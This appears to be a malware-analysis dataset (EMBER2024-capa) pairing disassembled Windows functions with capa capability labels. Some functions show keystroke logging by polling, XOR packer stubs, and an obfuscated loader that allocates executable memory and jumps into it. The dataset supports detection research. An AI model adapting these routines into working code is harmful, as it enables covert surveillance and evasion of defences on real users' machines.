joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403056
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
and dword [ebp - 0xc], 0
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 8]
and dword [ebp - 0x20], eax
stosd dword es:[edi], eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [0x405a6c]
test eax, eax
je 0x4030a8
push eax
call fcn.004037bf
cmp eax, 1
pop ecx
jb 0x4030a8
push dword [0x405a6c]
call fcn.004037bf
pop ecx
xor edx, edx
push 0x14
pop ecx
div ecx
mov ecx, dword [0x405a78]
add ecx, 0x64
cmp ecx, eax
jb 0x4030cc
push dword [0x405a6c]
call fcn.004037bf
add eax, 0x4e20
push eax
push dword [0x405a6c]
call fcn.0040377d
add esp, 0xc
mov dword [0x405a6c], eax
mov byte [ebp - 1], 1
movzx esi, byte [ebp - 1]
push esi
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov bx, ax
shr ebx, 0xf
and bl, 1
cmp byte [esi + 0x405cb0], bl
jne 0x4030f7
inc byte [ebp - 1]
cmp byte [ebp - 1], 0xff
jb 0x4030d0
jmp 0x403101
movzx eax, byte [ebp - 1]
mov byte [eax + 0x405cb0], bl
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov al, byte [ebp - 1]
cmp al, 0xff
jae 0x403168
cmp al, 1
je 0x403145
cmp al, 2
je 0x403151
cmp al, 0xa0
je 0x403168
neg bl
movzx esi, al
sbb ebx, ebx
push 0
add ebx, 0x101
push esi
mov dword [ebp - 0x20], ebx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov ebx, eax
mov eax, dword [ebp - 8]
mov edi, ebx
shl edi, 8
or edi, esi
jmp 0x403171
neg bl
sbb ebx, ebx
add ebx, 0x202
jmp 0x40315b
neg bl
sbb ebx, ebx
add ebx, 0x205
mov eax, dword [ebp - 8]
mov edi, dword [ebp - 0xc]
mov dword [ebp - 0x20], ebx
mov ebx, eax
jmp 0x403171
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
cmp dword [ebp - 0x20], 0
jne 0x4031ab
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x40321b
test eax, eax
je 0x40321b
lea edx, [eax + ecx]
cmp dl, byte [0x405cb0]
je 0x40321b
mov ebx, eax
add al, cl
mov dword [ebp - 0x20], 0x200
mov edi, ecx
mov byte [0x405cb0], al
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ecx, dword [0x405a78]
mov edx, dword [0x405a6c]
lea ecx, [ecx + ecx*4]
mov dword [edx + ecx*4 + 0x10], eax
mov eax, dword [0x405a78]
mov ecx, dword [0x405a6c]
mov edx, dword [ebp - 0x20]
lea eax, [eax + eax*4]
mov dword [ecx + eax*4], edx
mov eax, dword [0x405a78]
mov ecx, dword [0x405a6c]
lea eax, [eax + eax*4]
mov dword [ecx + eax*4 + 4], edi
mov eax, dword [0x405a78]
mov ecx, dword [0x405a6c]
lea eax, [eax + eax*4]
mov dword [ecx + eax*4 + 8], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [0x405a78]
mov edx, dword [0x405a6c]
lea ecx, [ecx + ecx*4]
mov dword [edx + ecx*4 + 0xc], eax
inc dword [0x405a78]
push 0
push 0xa
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetTimer]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40396f
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x403998
mov al, byte [esi + 1]
inc esi
test al, al
je 0x403990
cmp al, 0x22
jne 0x403984
cmp byte [esi], 0x22
jne 0x4039a2
inc esi
jmp 0x4039a2
cmp al, 0x20
jle 0x4039a2
inc esi
cmp byte [esi], 0x20
jg 0x40399c
mov al, byte [esi]
test al, al
je 0x4039ac
cmp al, 0x20
jle 0x403995
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00403a1c
push 0x405004
push section..data
call fcn.00403a02
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x4039dc
movzx eax, word [ebp - 0x14]
jmp 0x4039df
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.00403a34
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x459954
Capabilities:
Encode data using xor

Disassembly:
jg 0x4599bf
or eax, 0x9a7716e4
push 0x5b7bc56d
out dx, eax
dec edx
mov dh, 0x3f
mov esp, 0x635e53b9
in al, 0x2c
push eax
jnp 0x4599df
mov ecx, 0x7a160f66
jne 0x459976
invalid
inc esp
sbb eax, 0xcf7f4d96
or edi, edi
stosd dword es:[edi], eax
sub al, 0x81
inc ebx
pushfd
out 0x7b, eax
xchg ebx, eax
invalid
mov ecx, 0xf87893ca
test eax, 0xf7dc6863
inc ebx
add dword [ecx - 0x3ad34f33], edi
sub al, 0xc5
cmp eax, 0x6dc1af0d
xor al, 0x51
ja 0x4599a6
out 0xec, al
in al, dx
mov ecx, 0x66757289
dec esp
xchg ebp, eax
xlatb
sub eax, 0xca805a2c
add byte [esi], al
in al, dx
pushal
jbe 0x4599e2
push eax
jnp 0x459a4f
aaa
inc ebx
mov dword [eax], esi
loopne 0x4599b5
jae 0x4599ff
std
pop ecx
jmp [eax - 0x381f8357]
out dx, al
invalid
invalid
wait
les esp, [eax - 0x4bd7787]
inc edx
sub dword [eax + edx*8 + 0x60], eax
inc esp
shl byte [eax + 7], 1
pop es
or ah, byte [ebp - 8]
pop esp
sub eax, 0xa56af470
ror dword [esi - 0xf00c3dd], 0x7b
push ss
or esi, dword [ecx + 0x2d]
inc esp
xor dword [esi + 0x3b], edi
mov fs, word [ebx]
cmp al, 0xff
invalid
sub eax, 0x3b7e3144
jno 0x459a5d
dec eax
sti
xchg esi, eax
mov ebx, 0x7df0ebe1
cmp edi, 0x771129f2
push cs
wait
cmp bh, dh
add ebx, dword [edx + 0x31]
mov dh, 0x93
loope 0x459a66
je 0x459a09
and byte [eax], cl
bound ebx, qword [ebp + 0xae442db]
jbe 0x459a46
fcomi st(7)
jbe 0x459a52
fisttp dword [ebp - 0x5b8e8f4a]
adc byte [0x4622478c], dh
mov word [ebp - 0x79f04b74], fs
cmp dword [ecx - 0x96], 0x17af7bf0
xor ah, byte [ebx - 0x62]
dec eax
invalid
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x409888
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40995b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409974
push ebx
push 0x409980
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409908
mov al, 0x62
call fcn.00409460
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040985c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409911
call fcn.0040985c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409962
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409a14
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
jmp 0x409abd
cmp dword [esi + 0x10], 0x1000
jne 0x409aa9
test byte [esi + 0x15], 1
jne 0x409aa9
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409a68
cmp eax, 2
je 0x409a68
cmp eax, 0x10
je 0x409a68
cmp eax, 0x20
jne 0x409a7d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409a7d
mov bl, 1
xor ebp, ebp
jmp 0x409a8e
mov eax, dword [esi]
add eax, ebp
call fcn.00409a0c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409a81
test bl, bl
je 0x409aa9
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409a40
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x10006610
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1000661f
pop dword [ebp - 0xc]
mov eax, 0x1000661f
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x3ba0af54
add dword [ebp - 0x1c], 0x12b195f7
mov dword [ebp - 0x18], 0x9ea5b302
sub dword [ebp - 0x18], 0x6c7266bd
mov dword [ebp - 0x14], 0x59e008b1
add dword [ebp - 0x14], 0xf26c3b7d
mov dword [ebp - 0x10], 0xad130518
add dword [ebp - 0x10], 0x52ecfae8
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xe0b297d4
add dword [ebp - 0x1c], 0x93bfd182
mov dword [ebp - 0x18], 0xee3bf98c
sub dword [ebp - 0x18], 0xaccf9817
mov dword [ebp - 0x14], 0x18dff203
add dword [ebp - 0x14], 0x4a8f7a69
mov dword [ebp - 0x10], 0xf79915d2
sub dword [ebp - 0x10], 0xf79915d2
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x883f131a
sub eax, 0x783952fe
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x54c27
push 0
call eax
mov ecx, 0xf0f71b3c
sub ecx, 0xf0f6ce16
xor edx, edx
add edx, eax
mov esi, 0x10091c00
add esi, dword [ebp - 0xc]
mov ebx, 0x7b5ac221
sub ebx, 0x8a615a73
mov edi, dword [esi]
add dword [ebp - 8], 0xe3fac4c8
add edi, ebx
add dword [ebp - 4], 0x1ec28762
mov dword [edx], edi
xor dword [ebp - 4], 0x279ce6a9
add edx, 0x5117428
sub edx, 0x5117424
add esi, 0x7899668c
sub esi, 0x78996688
loop 0x10006733
add eax, 0x1276b
mov ebx, eax
add eax, 0xe1e46306
add eax, 0x1e1b9cff
mov ecx, 0x36fb4983
add ecx, 0xd904b67d
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x1000db80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10057176
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x10082d0c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi + 4]
cmp dword [eax + 0x18], 0
je 0x1000dcaf
push dword [ebp + 8]
lea ecx, [ebp - 0x10]
call sym.ScCore.dll_public:_class_ScCore::XML____thiscall_ScCore::ClassInfo::toXML_void_const
mov edi, dword [esi + 4]
mov dword [ebp - 4], 0
call sym.ScCore.dll_public:_static_class_ScCore::Encoder_const____cdecl_ScCore::Encoder::getBinary_void_
cmp dword [edi + 0x14], eax
mov eax, edi
setne cl
cmp byte [ebp + 0xc], 0
je 0x1000dbf0
test cl, cl
je 0x1000dbf0
push dword [edi + 0x2c]
lea ecx, [ebp - 0x10]
call sym.ScCore.dll_public:_class_ScCore::XML____thiscall_ScCore::ClassInfo::toXML_void_const
mov eax, dword [esi + 4]
push dword [eax + 0x14]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x10]
call sym.ScCore.dll_public:_class_ScCore::XML____thiscall_ScCore::ClassInfo::toXML_void_const
mov edi, eax
test edi, edi
jne 0x1000dc30
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x1000dc30
mov eax, dword [esi + 4]
push dword [eax + 0x18]
push 1
push ecx
push dword [ebp - 0x18]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov ecx, 0x34
cmp eax, 1
cmovne edi, ecx
mov eax, dword [esi + 4]
push dword [eax + 0x18]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ferror]
mov ecx, dword [esi + 4]
add esp, 4
push dword [ecx + 0x18]
test eax, eax
je 0x1000dc74
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_clearerr]
add esp, 4
lea ecx, [ebp - 0x10]
mov edi, 0x34
call sym.ScCore.dll_public:_class_ScCore::XML____thiscall_ScCore::ClassInfo::toXML_void_const
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__ftelli64]
mov ecx, dword [esi + 4]
add esp, 4
cmp edx, dword [ecx + 0x24]
jl 0x1000dc92
jg 0x1000dc8c
cmp eax, dword [ecx + 0x20]
jbe 0x1000dc92
mov dword [ecx + 0x20], eax
mov dword [ecx + 0x24], edx
lea ecx, [ebp - 0x10]
call sym.ScCore.dll_public:_class_ScCore::XML____thiscall_ScCore::ClassInfo::toXML_void_const
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, 0x32
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x10010090
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push 0
push 0
call sym.ScCore.dll_public:_class_ScCore::XML____thiscall_ScCore::ClassInfo::toXML_void_const
cwde
test eax, eax
je 0x100100c2
mov ecx, dword [esi]
and al, 3
pop esi
cmp al, 2
jne 0x100100b9
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.10033310
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.10033540
mov eax, 0x30
pop esi
pop ebp
ret
Function at 0x10035310
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18c
mov eax, dword [0x10082d0c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
call sym.ScCore.dll_public:_class_ScCore::XML____thiscall_ScCore::ClassInfo::toXML_void_const
mov ebx, eax
test ebx, ebx
je 0x1003547c
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
test edi, edi
je 0x1003535c
push 4
push edi
call dword [sym.imp.USER32.dll_GetWindow]
test eax, eax
jne 0x10035358
push edi
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
je 0x1003535c
mov edi, eax
jmp 0x10035340
push 0x100
lea eax, [ebp - 0x184]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x10035474
push 0x80
lea eax, [ebp - 0x84]
push eax
push edi
call dword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x10035474
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, edi
jne 0x10035474
test edi, edi
je 0x10035474
push esi
push 0xfffffffffffffffc
push edi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push edi
mov esi, eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push ebx
mov edi, eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test esi, esi
mov dword [ebp - 0x188], eax
pop esi
je 0x10035474
cmp eax, edi
je 0x10035474
push 1
push edi
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
test eax, eax
je 0x10035421
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
push edi
push dword [ebp - 0x188]
call dword [sym.imp.USER32.dll_AttachThreadInput]
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100544a0
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2000
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 2
lea eax, [ebp - 0x188]
mov dword [ebp - 0x188], 0
push eax
push 0
push 0x2001
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 2
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.100544a0
mov esp, ebp
pop ebp
ret
Function at 0x100354a0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov esi, eax
test esi, esi
jne 0x100354cb
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
push dword [ebp - 0xc]
push esi
call sym.ScCore.dll_public:_class_ScCore::XML____thiscall_ScCore::ClassInfo::toXML_void_const
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
je 0x100354f4
push eax
call dword [sym.imp.USER32.dll_IsWindowEnabled]
mov edx, dword [ebp - 8]
test eax, eax
cmove edx, esi
mov dword [ebp - 8], edx
test edx, edx
jne 0x1003550a
lea eax, [ebp - 0xc]
push eax
push 0x10035590
call dword [sym.imp.USER32.dll_EnumWindows]
mov edx, dword [ebp - 8]
test edx, edx
je 0x10035551
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10083c98]
mov dword [ebp - 4], edx
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10083c10]
cmp eax, dword [ecx + 4]
jg 0x10035558
jmp 0x1003552e
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
push 0
push dword [0x10083c0c]
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [ebp - 8]
test eax, eax
pop esi
cmovne ecx, dword [ebp - 4]
mov eax, ecx
mov esp, ebp
pop ebp
ret
mov eax, edx
pop esi
mov esp, ebp
pop ebp
ret
push 0x10083c10
call sym.ScCore.dll_public:_class_ScCore::XML____thiscall_ScCore::ClassInfo::toXML_void_const
add esp, 4
cmp dword [0x10083c10], 0xffffffff
jne 0x1003552b
push str.adobe.sccore.get.dialog.owner
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
push 0x10083c10
mov dword [0x10083c0c], eax
call sym.ScCore.dll_public:_class_ScCore::XML____thiscall_ScCore::ClassInfo::toXML_void_const
add esp, 4
jmp 0x1003552b
Function at 0x100356d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005ac13
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10082d0c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
mov dword [esi], vtable.ScCore::Thread.0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 1
call sym.ScCore.dll_public:_class_ScCore::XML____thiscall_ScCore::ClassInfo::toXML_void_const
mov edi, eax
mov ebx, edx
lea eax, [ebp - 0x10]
push eax
push 4
push esi
push sym.ScCore.dll_private:_static_unsigned_int___stdcall_ScCore::Thread::go_void__
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x10035768
mov dword [esi + 0xc], 0x20
mov eax, esi
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov dword [esi + 8], eax
mov eax, dword [0x10083ae8]
test eax, eax
jne 0x1003577c
call sym.ScCore.dll_public:_static_class_ScCore::Context____cdecl_ScCore::Context::get_void_
mov dword [eax + 0x58], edi
mov dword [eax + 0x5c], ebx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10035810
Capabilities:
Resume thread

Disassembly:
cmp dword [ecx + 0xc], 0
jne 0x1003581f
push dword [ecx + 4]
call dword [sym.imp.kernel32.dll_ResumeThread]
ret

Function at 0x10035b60
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x10083c3c]
test eax, eax
jne 0x10035bc9
push dword [0x100829d0]
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
jne 0x10035bc9
push esi
push 0x178
call sym.ScCore.dll_public:_class_ScCore::XML____thiscall_ScCore::ClassInfo::toXML_void_const
add esp, 4
test eax, eax
je 0x10035b96
mov ecx, eax
call sym.ScCore.dll_public:_class_ScCore::XML____thiscall_ScCore::ClassInfo::toXML_void_const
mov esi, eax
jmp 0x10035b98
xor esi, esi
cmp byte [0x10083c38], 0
jne 0x10035bb2
mov ecx, esi
mov dword [0x10083c3c], esi
call fcn.1001d6f0
mov eax, esi
pop esi
ret
push esi
push dword [0x100829d0]
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov ecx, esi
call fcn.1001d6f0
mov eax, esi
pop esi
ret

Function at 0x10035bd0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov eax, dword [0x100829d0]
cmp eax, 0xffffffff
je 0x10035c26
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x10035c17
mov ecx, dword [0x10083c3c]
xor eax, eax
cmp esi, ecx
cmove ecx, eax
mov dword [0x10083c3c], ecx
mov ecx, esi
call fcn.1001d720
mov ecx, esi
call fcn.1001d6c0
push 0x178
push esi
call sym.ScCore.dll_public:_class_ScCore::XML____thiscall_ScCore::ClassInfo::toXML_void_const
add esp, 8
push 0
push dword [0x100829d0]
call dword [sym.imp.kernel32.dll_TlsSetValue]
pop esi
ret
Function at 0x1001a8fe
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1001a959
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x1001a93a
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 4
jge 0x1001a957
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x10]
call fcn.100152af
mov dword [eax], 1
jmp 0x1001a92f
jmp 0x1001a963
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
mov esp, ebp
pop ebp
ret

Function at 0x1001a967
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1001a997
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x1001a995
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
jmp 0x1001a9e2
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x1001a9c5
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 2
jge 0x1001a9e2
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x18]
call fcn.100152af
mov dword [eax], 0xfffffff7
jmp 0x1001a9ba
mov esp, ebp
pop ebp
ret